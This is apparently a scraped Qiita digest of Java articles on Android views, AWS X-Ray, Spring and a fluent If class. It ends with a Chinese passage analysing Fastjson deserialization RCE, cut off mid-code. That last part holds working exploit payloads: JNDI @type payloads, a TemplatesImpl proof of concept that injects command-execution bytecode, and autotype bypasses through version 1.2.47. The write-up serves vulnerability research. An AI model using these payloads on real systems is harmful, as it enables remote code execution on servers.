20200426のJavaに関する記事は17件です。

新人がAndroidのビューってものをまとめてみる(初心者Androidアプリ開発)

はじめに

Androidアプリ開発の教科書

を一通りおわらせたので、今回はビューってやつを画像を使って説明してみます。

背景

Sierにジョブチェンジして3か月。研修を終えて現場配属になって一か月。今後使っていくAndroidアプリのお勉強をしているので、アウトプットで記していこうと思います。
素人です。

開発環境

androidstudio 3.6.2
openjdk version "11.0.6"

何はともあれサンプル

こんな感じの画面を作ります。
キャプチャ1.PNG

ビューっていうのは、画面部品のこと。ウィジェットともいう。上記画面なら、「名前を入力してください」もビュー、男か女か選ぶボタン(ラジオボタン)もビュー、ドリンクのリストもビューです。

これをコードにするとこんな感じ。

res/values/string.xml
<resources>
    <string name="app_name">画面部品サンプル</string>
    <string name="tv_msg">お名前を入力してください。</string>
    <string name="bt_save">保存</string>
    <string name="cb_drink">ドリンク</string>
    <string name="cb_food">フード</string>
    <string name="rb_male"></string>
    <string name="rb_female"></string>
    <string-array name="dlinkllist">
        <item>コーラ</item>
        <item>ウーロン茶</item>
        <item>ココア</item>
        <item>野菜ジュース</item>
    </string-array>
</resources>

各ビューに表示したい文章を入力しておくところです。このname="○○"の○○を下のtext属性にサンプルのように記入すると記入したビュー内のテキストとして使えます。

res/layout/activity_main.xml
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout
    xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:background="#A1A9BA"
    android:orientation="vertical">

    <TextView
        android:id="@+id/tvLabelInput"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_marginBottom="10dp"
        android:layout_marginTop="5dp"
        android:background="#ffffff"
        android:text="@string/tv_msg"
        android:textSize="25sp"/>

    <EditText
        android:id="@+id/etInput"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:layout_marginBottom="25dp"
        android:layout_marginTop="5dp"
        android:background="#ffffff"
        android:inputType="text"/>

    <LinearLayout
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:background="#df7401"
        android:orientation="horizontal">

        <CheckBox
            android:id="@+id/cbDrink"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:layout_marginRight="25dp"
            android:background="#ffffff"
            android:text="@string/cb_drink"/>

        <CheckBox
            android:id="@+id/cbFood"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:background="#ffffff"
            android:text="@string/cb_food"/>
    </LinearLayout>

    <RadioGroup
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:layout_marginBottom="10dp"
        android:layout_marginTop="10dp"
        android:background="#df7401"
        android:orientation="horizontal"
        android:paddingBottom="10dp"
        android:paddingTop="10dp">

        <RadioButton
            android:id="@+id/rbMale"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:layout_marginLeft="25dp"
            android:layout_marginRight="25dp"
            android:background="#ffffff"
            android:text="@string/rb_male"/>

        <RadioButton
            android:id="@+id/rbFemale"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:background="#ffffff"
            android:text="@string/rb_female"/>
    </RadioGroup>

    <Button
        android:id="@+id/btSave"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="@string/bt_save"/>

    <ListView
        android:layout_width="match_parent"
        android:layout_height="0dp"
        android:layout_weight="1"
        android:background="#ffffff"
        android:entries="@array/dlinkllist"/>
</LinearLayout>

string.xmlの○○の部分を各ビューのtext要素に書きます。するとstring.xml
そのほか、layout_widthやlayout_marginBottomなどに関しては、ビューの配置や形を決めてくれてます。

画像で直感的に理解してみる。

キャプチャ.PNG

書きなぐりですがこんな感じ。RadioGroupは子要素にRadioButtonを記述します。
LinearLayoutを親要素にすると、その子要素を縦方向or横方向に配置するかを決めてくれてます。(oriental="vertical"の部分)
ほかにも役割はありますがこのサンプルではこの理解で十分かと。

終わりに

かなり、さっくりですがビューについて自分なりにまとめてみました。なかなか思ったようにまとまらなかったりするのですが、続けていこうと思ってます。

次回はイベントとリスナについてまとめます。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

AWS X-RayをJavaで色々動かして試してみる

前提条件

X-Ray初心者向け。なんとなくは知ってるけど、具体的に何がどこまでできて、どうやって実装するかを色々試してみながら確認した記事。

環境としては、Spring Boot+MavenでWebアプリを実装している。依存関係の解決方法以外はGradleも同じはず。

X-RayのDockerコンテナイメージを作る。

まずは、適当なEC2とかでコンテナイメージを作る。
今回は、AWSのサンプルをベースに作ってみよう。

$ git clone https://github.com/aws-samples/aws-xray-fargate

buildspec.yml に書いてあるコマンドを、実行していってみる。

$ aws ecr get-login --no-include-email --region ap-northeast-1

でログイン情報を取得後、実行。ap-northeast-1は利用しているリージョンを指定する。

$ docker build -t xray:latest .

作ったコンテナイメージは正常性確認をしてみよう。以下を参考にする。
それぞれのdocker runのオプションの意味も記載されているので読んでみると良い。

【公式】ローカルで X-Ray デーモンを実行する

$ docker run \
  --attach STDOUT \
  -v ~/.aws/:/root/.aws/:ro \
  --net=host \
  -e AWS_REGION=ap-northeast-1 \
  --name xray \
  -p 2000:2000/udp \
  xray -o

あと、EC2のロールにAWSXRayDaemonWriteAccessのIAMポリシをつけておく。

アプリケーションのX-Ray対応

受信リクエスト対応

以下の開発者ガイドを参考にしながら、アプリケーション側でX-Rayのログをデーモンに送るようにする。

【公式】AWS X-Ray SDK for Java

受信リクエストの対応をするだけなら簡単なようだ。WebConfig.javaなクラスを以下の様に実装する。ApigwTestは、サンプルで作ったWebアプリの名前。

WebConfig.java
package com.example;

import org.springframework.context.annotation.Configuration;
import org.springframework.context.annotation.Bean;
import javax.servlet.Filter;
import com.amazonaws.xray.javax.servlet.AWSXRayServletFilter;

@Configuration
public class WebConfig {

  @Bean
  public Filter TracingFilter() {
    return new AWSXRayServletFilter("ApigwTest");
  }
}

X-RayはAWSのSDKを使う必要があるため、pom.xmlに以下を記述して依存関係を解決する。

pom.xml
    <dependencyManagement>
        <dependencies>
            <dependency>
                <groupId>com.amazonaws</groupId>
                <artifactId>aws-xray-recorder-sdk-bom</artifactId>
                <version>2.4.0</version>
                <type>pom</type>
                <scope>import</scope>
            </dependency>
        </dependencies>
    </dependencyManagement>

    <dependencies>
        <dependency>
            <groupId>com.amazonaws</groupId>
            <artifactId>aws-xray-recorder-sdk-core</artifactId>
        </dependency>
    </dependencies>

さて、このアプリを起動してアクセスすると、↓こんな感じでトレースができるようになる。

キャプチャ6.PNG

詳細情報の取得

さらに、受信リクエストを受けたノードの情報を取得できるように、↑で作ったWebConfigクラスに以下のコードを入れてみる。

import com.amazonaws.xray.AWSXRay;
import com.amazonaws.xray.AWSXRayRecorderBuilder;
import com.amazonaws.xray.plugins.EC2Plugin;
import com.amazonaws.xray.plugins.ECSPlugin;

  static {
      AWSXRayRecorderBuilder builder = AWSXRayRecorderBuilder.standard().withPlugin(new EC2Plugin()).withPlugin(new ECSPlugin());

      AWSXRay.setGlobalRecorder(builder.build());
  }

これをEC2上で実行した場合は、以下のように、サービスマップにEC2インスタンスであることが表示されるようになる。

キャプチャ7.PNG

ダウンストリームのトレース対応

さらに、HTTPクライアントとして、ダウンストリームのWebサービスの情報も取得する場合は、コントローラの中に↓こんなのを入れてみる。

import com.amazonaws.xray.proxies.apache.http.HttpClientBuilder;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.client.methods.CloseableHttpResponse;
import org.apache.http.impl.client.CloseableHttpClient;
import java.io.IOException;
(中略)
    public int HttpClient(String URL) throws IOException {
        int statusCode = 500;

        CloseableHttpClient httpclient = HttpClientBuilder.create().build();
        HttpGet httpGet = new HttpGet(URL);
        CloseableHttpResponse clientResponse = httpclient.execute(httpGet);

        try {
            statusCode = clientResponse.getStatusLine().getStatusCode();
        } finally {
            clientResponse.close();
        }

        return statusCode;
    }

また、com.amazonaws.xray.proxies.apache.http.HttpClientBuilderをインポートするために、pom.xmlにも以下の依存関係を追記する。

pom.xml
    <dependencies>
        <dependency>
            <groupId>com.amazonaws</groupId>
            <artifactId>aws-xray-recorder-sdk-apache-http</artifactId>
        </dependency>
    </dependencies>

すると、以下のようにダウンストリームの情報も取得できるようになる。

キャプチャ8.PNG

ちなみに、このダウンストリームのサービスはLambda関数で実装していたので、ふと気になってLambda関数側でX-Rayの設定を有効化すると、↓こんな感じで、重複した要素は取得しなくなった。賢い。

キャプチャ9.PNG

ECS on Fargateで動かす

まずは、ここまでで動作確認したX-RayのコンテナをECRにPUSHする。
事前にxrayのリポジトリを作っておくのを忘れないように。

$ docker tag xray:latest [AWSのアカウントID].dkr.ecr.[リージョン].amazonaws.com/xray:latest
$ docker push [AWSのアカウントID].dkr.ecr.[リージョン].amazonaws.com/xray:latest

また、ここでもECSのタスクロールとタスク実行ロールにAWSXRayDaemonWriteAccessを付与しておく。

コンテナのタスク定義に、↑でPUSHしたxrayのイメージを入れる。
CloudFormationテンプレートで言えば、ContainerDefinitions内で、既存のコンテナ定義に並べて以下の定義を書く。awsvpcを使わないECS on EC2の場合は他にも設定が必要だが、Fargateの場合は、awsvpcで動くので、簡単に加えられるようだ。

    - Name: X-Ray-Daemon
      Image: !Sub ${AWS::AccountId}.dkr.ecr.${AWS::Region}.amazonaws.com/xray:latest
      Cpu: 32
      MemoryReservation: 256
      PortMappings:
        - ContainerPort: 2000
          Protocol: udp

Lambda側のアクティブトレースを有効化すると、EC2と同様に取得することができた。

キャプチャ10.PNG

ただし、Lambda側のアクティブトレースを無効にすると、リクエストに対するトレースは取得できたが、ダウンストリームのトレースが取得できなかった。何かまだ足りていない設定があるのかもしれない。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Java memo

Bean

Beanクラスの最低限の定義
・publicで引数なしのコンストラクタが必要
・メソッドの命名規則に従わなくてはならない(getter/setterメソッドが必要など)
・シリアライズ可能でなくてはならない
 Serializableインターフェースが必要
 private static final long serialVersionUID = 1L;

-Xms, -Xmxx

JAVA_OPTIONS=${JAVA_OPTIONS}" -Xms512m -Xmx4096m"

-Xmx:ヒープ全体の最大値。1MB より大きい 1024 の倍数に設定する
-Xms:ヒープ全体の最小値、一般的にXmxと同じにする。1MB より大きい 1024 の倍数に設定する。

512mのmはMB (メガバイト) を意味する。

Mockito

Mockito.when(クラス名.メソッド名(引数)).thenReturn(戻り値);
Mockito.doReturn(戻り値).when(クラス名).メソッド名(引数);

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Spring memo

@Transactional

■ readOnly=true
正確にトランザクションを管理したい場合(trueの場合は更新させないようにしたい場合)は
enforceReadOnlyの設定が必要。(新しいSpringから必要になったそう。)
ただ、enforceReadOnlyの設定をしない場合でも
・FLUSHがNAVERになる
・entityのトラッキングをしなくなる
という効果はあるので、読取り系につける意味はある。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

二番煎じ:JavaでIf式をしてみる

JavaでIf式をしてみる」の二番煎じ。

実現できること

例えば FizzBuzz を次のように書ける。

    public static void main(String... args) {
        for (int i = 1; i <= 100; ++i) {
            int count = i;
            String fizzBuzzed = 
                    If.<String>test(() -> count % 15 == 0).then(() -> "FizzBuzz")
                    .elif(() -> count % 3 == 0).then(() -> "Fizz")
                    .elif(() -> count % 5 == 0).then(() -> "Buzz")
                    .el(() -> Integer.toString(count));
            System.out.println(fizzBuzzed);
        }
    }

準備

if 式の値として nullable な値を扱うため、
次の汎用クラスを作成する。

import java.util.function.Supplier;

/**
 * null も値として取れる {@link java.util.Optional}。
 * 
 * 今回使わないメソッドについては省略。
 */
public class MayBe<T> {

    /**
     * 値が存在するインスタンスを生成する。
     */
    public static <R> MayBe<R> of(R result) {
        return new MayBe<>(true, result);
    }

    /**
     * 値が存在しないインスタンスを生成する。
     */
    public static <R> MayBe<R> empty() {
        return new MayBe<>(false, null);
    }

    private final boolean isPresent;
    private final T value;

    private MayBe(boolean isPresent, T value) {
        this.isPresent = isPresent;
        this.value = value;
    }

    /**
     * 値が存在するかどうかを返す。
     */
    public boolean isPresent() {
        return this.isPresent;
    }

    /**
     * 値が存在すればそれを返し、存在しなければ引数 other から得た値を返す。
     */
    public T orElseGet(Supplier<T> other) {
        return isPresent() ? this.value : other.get();
    }
}

本番

import java.util.function.BooleanSupplier;
import java.util.function.Supplier;

public class If<R> {

    public static <R> If<R> test(BooleanSupplier predicate) {
        return new If<>(predicate, null);
    }

    private final If<R> prev;
    private final BooleanSupplier predicate;

    private Then<R> then = null;

    /**
     * @param predicate この if の述語。
     * @param prev      この if が else if である場合、1つ前の if。
     *                  そうでない場合、null。
     */
    private If(BooleanSupplier predicate, If<R> prev) {
        this.prev = prev;
        this.predicate = predicate;
    }

    public Then<R> then(Supplier<R> valueSupplier) {
        if (this.then != null) {
            throw new IllegalStateException("`then` が既に呼び出されています。");
        }

        return this.then = new Then<>(this, valueSupplier);
    }

    /**
     * この if までを評価する。
     * 
     * @return 評価した結果の値。
     */
    private MayBe<R> eval() {
        if (this.then == null) {
            throw new IllegalStateException("`then` が未だ呼び出されていません。");
        }

        if (this.prev != null) {
            MayBe<R> prevValue = this.prev.eval();
            if (prevValue.isPresent()) {
                return prevValue;
            }
        }

        return this.predicate.getAsBoolean()
                ? MayBe.of(this.then.getThenValue())
                : MayBe.empty();
    }

    /**
     * {@link If#then} が返すオブジェクトのクラス。
     */
    public static class Then<R> {
        private final If<R> relatedIf;
        private final Supplier<R> thenValueSupplier;

        /**
         * @param relatedIf     この then の if。
         * @param valueSupplier この then の if が true である場合に返す値。
         */
        Then(If<R> relatedIf, Supplier<R> valueSupplier) {
            this.relatedIf = relatedIf;
            this.thenValueSupplier = valueSupplier;
        }

        public If<R> elif(BooleanSupplier predicate) {
            return new If<>(predicate, this.relatedIf);
        }

        public R el(Supplier<R> valueSupplier) {
            return this.relatedIf.eval().orElseGet(valueSupplier);
        }

        /**
         * この then の if が true の場合の値を返す。
         */
        R getThenValue() {
            return this.thenValueSupplier.get();
        }
    }
}

特長

  • if の述語は必要なものだけが評価される。
  • 値の取得も必要なものだけが評価される。
  • else if (elif)が使えるため、入れ子が深くならずに済む。

所感

JavaScript でいう即時関数のようにした方が読みやすいな。

    public static void main(String... args) {
        for (int i = 1; i <= 100; ++i) {
            int count = i;
            String fizzBuzzed = ((Supplier<String>) () -> {
                if (count % 15 == 0) return "FizzBuzz";
                else if (count % 3 == 0) return "Fizz";
                else if (count % 5 == 0) return "Buzz";
                else return Integer.toString(count);
            }).get();
            System.out.println(fizzBuzzed);
        }
    }

/以上

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Fastjson 反序列化

前言

fastjson是阿里巴巴的一个json库,频频爆RCE。本文分析fastjson至今的一些RCE漏洞。

fastjson的使用

引入库

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>

创建一个实体类User

package org.chabug.fastjson.model;

public class User {
    private int id;
    private int age;
    private String name;

    @Override
    public String toString() {
        return "User{" +
                "id=" + id +
                ", age=" + age +
                ", name='" + name + '\'' +
                '}';
    }

    public int getId() {
        return id;
    }

    public void setId(int id) {
        this.id = id;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}

使用fastjson解析为字符串、从字符串解析为对象:

package org.chabug.fastjson.run;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;
import org.chabug.fastjson.model.User;

import java.util.HashMap;
import java.util.Map;

public class JSONTest {
    public static void main(String[] args) {
        Map<String, Object> map = new HashMap<String, Object>();
        map.put("key1", "One");
        map.put("key2", "Two");
        String mapJson = JSON.toJSONString(map);
        System.out.println(mapJson);

        System.out.println("--------------------------");


        User user = new User();
        user.setId(1);
        user.setAge(17);
        user.setName("张三");

        // 对象转字符串
        String s1 = JSON.toJSONString(user);
        String s2 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
        System.out.println(s1);
        System.out.println(s2);

        System.out.println("--------------------------");

        // 字符串转对象
        User o1 = (User) JSON.parse(s2);
        System.out.println("o1:"+o1);
        System.out.println(o1.getClass().getName());

        JSONObject o2 = JSON.parseObject(s2);
        System.out.println("o2:"+o2);
        System.out.println(o2.getClass().getName());

        Object o3 = JSON.parseObject(s2, Object.class);
        System.out.println("o3:"+o3);
        System.out.println(o3.getClass().getName());

    }
}

运行结果

{"key1":"One","key2":"Two"}
--------------------------
{"age":17,"id":1,"name":"张三"}
{"@type":"org.chabug.fastjson.model.User","age":17,"id":1,"name":"张三"}
--------------------------
o1:User{id=1, age=17, name='张三'}
org.chabug.fastjson.model.User
o2:{"name":"张三","id":1,"age":17}
com.alibaba.fastjson.JSONObject
o3:User{id=1, age=17, name='张三'}
org.chabug.fastjson.model.User

fastjson通过JSON.toJSONString()将对象转为字符串(序列化),当使用SerializerFeature.WriteClassName参数时会将对象的类名写入@type字段中,在重新转回对象时会根据@type来指定类,进而调用该类的setget方法。因为这个特性,我们可以指定@type为任意存在问题的类,造成一些问题。

在字符串转对象的过程中(反序列化),主要使用JSON.parse()JSON.parseObject()两个方法,两者区别在于parse()会返回实际类型(User)的对象,而parseObject()在不指定class时返回的是JSONObject,指定class才会返回实际类型(User)的对象,也就是JSON.parseObject(s2)JSON.parseObject(s2, Object.class)的区别,这里也可以指定为User.class

我们再来看@type的问题,我定义了一个Evil类,在其set方法中可以执行命令

package org.chabug.fastjson.model;

import java.io.IOException;

public class Evil {
    private String cmd;

    public String getCmd() {
        System.out.println("getCmd()");
        return cmd;
    }

    public void setCmd(String cmd) {
        System.out.println("setCmd()");
        this.cmd = cmd;
        try {
            Runtime.getRuntime().exec(cmd);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public Evil() {
        System.out.println("Evil()");
    }
}

用springboot起了一个web
image.png

成功弹出了计算器
image.png

我们通过控制@type来实现反序列化恶意Evil类,从而RCE,很简单只是举个例子说明@type的使用。

那么到这里还有一个问题,为什么写在setCmd方法会自动调用呢?

setter、getter、is自动调用

对应的Evil
image.png

写一个test测试下
image.png

可以看到parseObject(evil)的get、set、构造方法都自动调用了,另外两种解析方式只调用了set、构造方法。

在前文中我们知道parseObject(evil)返回的是JSONObject对象,跟进其方法发现也是使用parse解析的,但是多了一个(JSONObject)toJSON(obj)
image.png
这个方法调用的get,堆栈如下

getCmd:11, Evil (org.chabug.fastjson.model)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
get:451, FieldInfo (com.alibaba.fastjson.util)
getPropertyValue:105, FieldSerializer (com.alibaba.fastjson.serializer)
getFieldValuesMap:439, JavaBeanSerializer (com.alibaba.fastjson.serializer)
toJSON:902, JSON (com.alibaba.fastjson)
toJSON:824, JSON (com.alibaba.fastjson)
parseObject:206, JSON (com.alibaba.fastjson)
main:13, Test (org.chabug.fastjson.run)

比较简单,不详细分析,大致就是通过反射调用getter方法获取字段的值存入hashmap。那么setter在哪调用的?

com.alibaba.fastjson.util.JavaBeanInfo#build

image.png

在通过@type拿到类之后,通过反射拿到该类所有的方法存入methods,接下来遍历methods进而获取get、set方法,如上图。总结set方法自动调用的条件为:
1. 方法名长度大于4
2. 非静态方法
3. 返回值为void或当前类
4. 方法名以set开头
5. 参数个数为1

当满足条件之后会从方法名截取属性名,截取时会判断_,如果是set_name会截取为name属性,具体逻辑如下:
image.png

当截取完但是找不到这个属性
image.png

会判断传入的第一个参数类型是否为布尔型,是的话就在截取完的变量前加上is,截取propertyName的第一个字符转大写和第二个字符,并且然后重新尝试获取属性字段。

比如:public boolean setBoy(boolean t) 会寻找isBoy字段。

set的整个判断就是:如果有setCmd()会绑定cmd属性,如果该类没有cmd属性会绑定isCmd属性。

get的判断
image.png
总结下就是:
1. 方法名长度大于等于4
2. 非静态方法
3. 以get开头且第4个字母为大写
4. 无传入参数
5. 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

当程序绑定了对应的字段之后,如果传入json字符串的键值中存在这个值,就会去调用执行对应的setter、构造方法。

小结:
1. parse(jsonStr) 构造方法+Json字符串指定属性的setter()+特殊的getter()
2. parseObject(jsonStr) 构造方法+Json字符串指定属性的setter()+所有getter() 包括不存在属性和私有属性的getter()
3. parseObject(jsonStr,Object.class) 构造方法+Json字符串指定属性的setter()+特殊的getter()

fastjson漏洞历程

fastjson漏洞经历了多次绕过及修复,甚至出现了加密黑名单防止安全研究= =

1.2.22-1.2.24

在小于fastjson1.2.22-1.2.24版本中有两条利用链。
1. JNDI com.sun.rowset.JdbcRowSetImpl
2. JDK7u21 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

JNDI利用链

JNDI传输过程中使用的就是序列化和反序列化,所以通杀三种解析方式

JSON.parse(evil);
JSON.parseObject(evil);
JSON.parseObject(evil, Object.class);

原理就是setter的自动调用

package org.chabug.fastjson.run;

import com.sun.rowset.JdbcRowSetImpl;

import java.sql.SQLException;

public class Test {
    public static void main(String[] args) {


        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        try {
            jdbcRowSet.setDataSourceName("ldap://localhost:1389/#Calc");
            jdbcRowSet.setAutoCommit(true);
        } catch (SQLException e) {
            e.printStackTrace();
        }
    }
}

image.png

setDataSourceName()和setAutoCommit()满足setter自动调用的条件,当我们传入对应json键值对时就会触发setter,进而触发jndi链接。payload如下

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/#Calc", "autoCommit":true}

TemplatesImpl利用链

条件苛刻
1. 服务端使用parseObject()时,必须使用如下格式才能触发漏洞:JSON.parseObject(input, Object.class, Feature.SupportNonPublicField)
2. 服务端使用parse()时,需要JSON.parse(text1,Feature.SupportNonPublicField)

poc

package org.chabug.fastjson.run;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.tomcat.util.codec.binary.Base64;

public class JDK7u21 {
    // 参考https://y4er.com/post/ysoserial-commonscollections-2/
    public static byte[] getevilbyte() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.get(test.class.getName());
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "Y4er" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));

        return cc.toBytecode();
    }


    //main函数调用以下poc而已
    public static void main(String args[]) {
        try {
            byte[] evilCode = getevilbyte();
            String evilCode_base64 = Base64.encodeBase64String(evilCode);
            final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
            String text1 = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\"" + evilCode_base64 + "\"],'_name':'asd','_tfactory':{ },\"_outputProperties\":{ }," + "\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
            System.out.println(text1);
            ParserConfig config = new ParserConfig();
            Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static class test {

    }
}

看完poc应该考虑的几个问题:
1. 为什么parseObject需要Feature.SupportNonPublicField
2. 为什么需要_outputProperties属性?
3. _bytecodes为什么需要base64编码?
4. _tfactory为什么为{}?

问题1:Feature.SupportNonPublicField
在fastjson中默认并不能序列化private属性,而我们使用的TemplatesImpl利用链的多个属性都是private,所以在反序列化的时候需要加上Feature.SupportNonPublicField,这也成了这个利用链的最大限制。
image.png

问题2:为什么需要_outputProperties属性
答案是为了触发getOutputProperties()。再问:如果getOutputProperties()是_outputProperties属性的getter方法那不符合规则啊!下面就来分析下:

getOutputProperties()方法其对应的属性应该为publicoutputProperties,其实你删了_也可以,_并不是必须的,那么fastjson到底是怎么处理的呢?
image.png

com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField中解析每一个字段时,会进行一次灵活匹配this.smartMatch()
image.png
在进行is关键字判断之后,替换掉-_再匹配getter和setter
image.png
所以就会调用getOutputProperties()
image.png
而其返回值又是Properties,所以可以完美调用getOutputProperties(),进而触发newTransformer()->getTransletInstance()->newInstance(),导致RCE。

问题3:_bytecodes为什么需要base64编码

在解析byte[]的时候进行了base64解码
image.png

跟进
image.png

问题4:_tfactory为什么为{}
fastjson-1.2.23.jar!/com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.class:579解析字段值时,会自动判断传入键值是否为空,如果为空会根据类属性定义的类型自动创建实例
image.png

到这算是把fastjson写的差不多,剩下的就是无尽的bypass。

1.2.25-1.2.41

在1.2.25版本中,重新使用jdbc利用链复现报错
image.png

使用idea对比两个jar包发现改为了checkAutoType()方法
image.png

跟进checkAutoType()发现
image.png

增加了类前缀黑名单白名单判断,在1.2.25版本中AutoTypeSupport默认false,需要显示关闭白名单

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

在关闭了AutoTypeSupport之后仍然需要绕过黑名单,以startsWith判断
image.png
但是在跟了TypeUtils.loadClass()之后会发现
image.png
如果classname以[开头loadClass会自动去掉,还有就是开头L结尾;的也会去掉,那么我们有了新的绕过方法:

ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // 必须显示关闭白名单
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/#Calc", "autoCommit":true}

7u21的链同理,在1.2.25之后所谓的绕过都是在显示关闭白名单的条件下绕过的。

1.2.42绕过

在1.2.41中L;的方法测试可以,1.2.42中不行
image.png

对比jar发现ParserConfig中黑名单改为hash
image.png
classname截取L;
image.png

通过计算hash让我们不知道黑名单是什么类,但是加密方式在com.alibaba.fastjson.util.TypeUtils#fnv1a_64是有的
image.png
通过变量常用的jar、类、字符串碰撞hash得到黑名单,有一个项目已经做好了:https://github.com/LeadroyaL/fastjson-blacklist

绕过也比较简单,com.alibaba.fastjson.parser.ParserConfig#checkAutoType截取一次,com.alibaba.fastjson.util.TypeUtils#loadClass截取一次,那么双写就可以绕过

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/#Calc", "autoCommit":true}

1.2.43

判断了是否以LL开头,直接抛出异常
image.png

但是[还可以
json
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

1.2.44

修复之前[的问题,虽然之前[是不能用的

1.2.45

增加了黑名单

//需要有第三方组件ibatis-core 3:0
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}

1.2.47 通杀

通杀autotype和黑名单

{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "ldap://localhost:1389/Exploit", 
        "autoCommit": true
    }
}

在TypeUtils的static初始化时调用com.alibaba.fastjson.util.TypeUtils#addBaseClassMappings中会将常用的类通过loadclass()放入mapping中

    private static void addBaseClassMappings() {
        mappings.put("byte", Byte.TYPE);
        mappings.put("short", Short.TYPE);
        mappings.put("int", Integer.TYPE);
        mappings.put("long", Long.TYPE);
        mappings.put("float", Float.TYPE);
        mappings.put("double", Double.TYPE);
        mappings.put("boolean", Boolean.TYPE);
        mappings.put("char", Character.TYPE);
        mappings.put("[byte", byte[].class);
        mappings.put("[short", short[].class);
        mappings.put("[int", int[].class);
        mappings.put("[long", long[].class);
        mappings.put("[float", float[].class);
        mappings.put("[double", double[].class);
        mappings.put("[boolean", boolean[].class);
        mappings.put("[char", char[].class);
        mappings.put("[B", byte[].class);
        mappings.put("[S", short[].class);
        mappings.put("[I", int[].class);
        mappings.put("[J", long[].class);
        mappings.put("[F", float[].class);
        mappings.put("[D", double[].class);
        mappings.put("[C", char[].class);
        mappings.put("[Z", boolean[].class);
        Class<?>[] classes = new Class[]{Object.class, Cloneable.class, loadClass("java.lang.AutoCloseable"), Exception.class, RuntimeException.class, IllegalAccessError.class, IllegalAccessException.class, IllegalArgumentException.class, IllegalMonitorStateException.class, IllegalStateException.class, IllegalThreadStateException.class, IndexOutOfBoundsException.class, InstantiationError.class, InstantiationException.class, InternalError.class, InterruptedException.class, LinkageError.class, NegativeArraySizeException.class, NoClassDefFoundError.class, NoSuchFieldError.class, NoSuchFieldException.class, NoSuchMethodError.class, NoSuchMethodException.class, NullPointerException.class, NumberFormatException.class, OutOfMemoryError.class, SecurityException.class, StackOverflowError.class, StringIndexOutOfBoundsException.class, TypeNotPresentException.class, VerifyError.class, StackTraceElement.class, HashMap.class, Hashtable.class, TreeMap.class, IdentityHashMap.class, WeakHashMap.class, LinkedHashMap.class, HashSet.class, LinkedHashSet.class, TreeSet.class, TimeUnit.class, ConcurrentHashMap.class, loadClass("java.util.concurrent.ConcurrentSkipListMap"), loadClass("java.util.concurrent.ConcurrentSkipListSet"), AtomicInteger.class, AtomicLong.class, Collections.EMPTY_MAP.getClass(), BitSet.class, Calendar.class, Date.class, Locale.class, UUID.class, Time.class, java.sql.Date.class, Timestamp.class, SimpleDateFormat.class, JSONObject.class};
        Class[] var1 = classes;
        int var2 = classes.length;

        int var3;
        for(var3 = 0; var3 < var2; ++var3) {
            Class clazz = var1[var3];
            if (clazz != null) {
                mappings.put(clazz.getName(), clazz);
            }
        }

        String[] awt = new String[]{"java.awt.Rectangle", "java.awt.Point", "java.awt.Font", "java.awt.Color"};
